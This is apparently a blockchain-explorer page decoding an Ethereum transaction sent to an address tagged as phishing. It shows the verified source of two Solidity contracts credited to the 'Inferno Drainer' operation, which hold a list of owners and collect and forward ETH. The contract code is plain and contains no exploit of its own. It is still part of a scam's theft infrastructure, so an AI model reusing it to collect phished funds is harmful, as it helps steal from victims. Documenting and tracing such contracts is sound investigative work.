ETH Price: $1,947.41 (-1.56%)
Gas: 0.05 Gwei

Transaction Decoder

Block:
19115455 at Jan-29-2024 11:28:35 PM +UTC
Transaction Fee:
0.000820081662182832 ETH $1.60
Gas Used:
38,598 Gas / 21.246739784 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x000037bB...826Ce0000
(Fake_Phishing188250)
52.167702043265833385 Eth52.221601490123209461 Eth0.053899446857376076
0xc3F714F0...ce53Ed6cb
0.055932632374266172 Eth
Nonce: 180
0.001213103854707264 Eth
Nonce: 181
0.054719528519558908
(Fee Recipient: 0xe1ed...a9c)
9.503875170744535861 Eth9.504174597182322967 Eth0.000299426437787106

Execution Trace

ETH 0.053899446857376076 Fake_Phishing188583.CALL( )
  • StorageContract.STATICCALL( )
  • ETH 0.053899446857376076 Receiver.CALL( )
    File 1 of 2: StorageContract
    // @mr_inferno_drainer / inferno drainer
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }

    File 2 of 2: Receiver
    // File: contracts/StorageContract.sol
    
    
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }
    
    // File: contracts/Receiver.sol
    
    
    pragma solidity ^0.8.4;
    
    
    contract Receiver {
        StorageContract storageContract;
    
        mapping(address => uint256) private balances;
    
        constructor(address storageContractAddress) {
            storageContract = StorageContract(storageContractAddress);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
                if (msg.sender == storageContract.owners(i)) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        receive() external payable {}
    
        fallback() external payable {}
    
        function withdraw(uint256 amount, address recipient) public onlyOwner {
            require(
                amount <= address(this).balance,
                "Not enough balance in the contract"
            );
    
            (bool sent, ) = payable(recipient).call{value: amount}("");
            require(sent, "Fail");
        }
    
        function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
            public
            onlyOwner
        {
            require(
                amounts.length == recipients.length,
                "The amounts and recipients length mismatch"
            );
    
            for (uint256 i = 0; i < recipients.length; i++) {
                uint256 amount = amounts[i];
                address recipient = recipients[i];
    
                require(
                    amount <= address(this).balance,
                    "Not enough balance in the contract"
                );
    
                (bool sent, ) = payable(recipient).call{value: amount}("");
                require(sent, "Fail");
            }
        }
    }